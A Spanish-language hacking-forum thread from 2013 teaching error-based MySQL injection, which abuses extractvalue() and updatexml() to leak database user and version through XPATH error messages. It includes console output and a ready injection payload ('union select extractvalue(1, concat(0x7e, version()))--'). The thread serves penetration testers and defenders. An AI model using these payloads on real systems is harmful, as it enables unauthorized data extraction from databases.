MYSQLI EB con extractvalue() and updatexml()

Iniciado por q3rv0, Julio 26, 2013, 02:17:37 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 26, 2013, 02:17:37 PM Ultima modificación: Noviembre 23, 2014, 02:19:06 PM por Expermicid
MYSQLI EB con extractvalue()


Quien conozca de inyecciones sabe bien que para explotar una Mysqli error based  es necesario utitlizar las funciones floor() y rand() .




Pero hay otra manera que se basa en aprovechar otro tipo de error, incluso es mucho mas sencilla de interpretar ademas de ser un vector corto y eficaz.

Leyendo el blog de Dmitry Evteev en una entrada que habia publicado en el 2009 (bastante viejita ya), encontre una forma de explotar un error based de una manera que llamo poderosamente mi atencion.

La funcion extractvalue() sirve para extraer valores de un elemento XML, por ejemplo tenemos la siguiente cadena:

Código: xml
<b>q3rv0</b>


Si quieramos extraer la palabra q3rv0 lo realizariamos de la siguiente manera.

Código: mysql
mysql> select extractvalue('<b>q3rv0</b>', '/b');
+------------------------------------+
| extractvalue('<b>q3rv0</b>', '/b') |
+------------------------------------+
| q3rv0                              |
+------------------------------------+
1 row in set (0.00 sec)

mysql>


La manera de aprovechar esta funcion para que nos devuelva informacion es obligarla a realizar un error de sintaxis.

Que pasa si introducimos la funcion user() en el argumento que es utilizado para extraer ciertos valores.
Código: mysql

mysql> select extractvalue('<b>q3rv0</b>', user());
ERROR 1105 (HY000): XPATH syntax error: '@localhost'


Como vemos nos arroja el error, ademas del usuarios en la db.

El problema es que lo muestra entrecortado, para eso vamos a concatenar la salida.
Código: mysql

mysql> select extractvalue('<b>q3rv0</b>', concat(0x7e, user()));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'


Como podemos llevarla acabo mediante una inyeccion?

De la siguiente manera.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta union select extractvalue(1, concat(0x7e, version()))--







Mysqli EB con updatexml()

Para este tipo de metodo utilizaremos la funcion llamada updatexml(), los creditos se los lleva Arthusu por la info.

Dicha funcion sirve para actualizar un elemento xml por otro.

Tenemos el siguiente codigo.

Código: xml
<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>


La sintaxis de updatexml() es la siguiente:

Código: mysql
updatexml('cadena', 'xpath_expr', 'cadena actualizada')


Entonces si quisieramos actualizar la porcion de codigo <h1>underc0de</h1> y cambiarlo por <h1>underc0de Rulz</h1> lo hariamos de la siguiente manera.

Código: mysql
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>');
+--------------------------------------------------------------------------------------------------------------+
| updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>') |
+--------------------------------------------------------------------------------------------------------------+
| <b>jlkjslakjslka</b><h1>Underc0de Rulz</h1><i>kjaslkjalskjlaksj</i>                                          |
+--------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql>


Entonces para generar un error en la funcion podemos reemplazar el xpath_expr por nuestra consulta deseada.
Código: mysql

mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',user(), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql>


Concatenamos y obtenemos el resultado completo.

Código: mysql
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',concat(0x7e, user()), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
mysql>






Referencia: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Twitter: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muy bueno, no conocía ese método.

Julio 26, 2013, 04:28:24 PM #2 Ultima modificación: Julio 26, 2013, 04:35:33 PM por m5f3r0
Excelente, yo también desconocía de esto. Sigue así!



;D Saludos.
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)

Muy bueno, te felicito!

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".

Julio 27, 2013, 12:25:56 AM #4 Ultima modificación: Julio 27, 2013, 12:30:06 AM por arthusu
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P
Pentest - Hacking & Security Services

Contact me: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy bueno q3rv0 +Karma por cierto no es necesario usar union select puedes usar un and  :P ademas no solo puede usar extractvalue sino tambien updatexml, salu2 bro :-) buen post :P

Actualizado!

Gracias bro por la info
Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Twitter: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta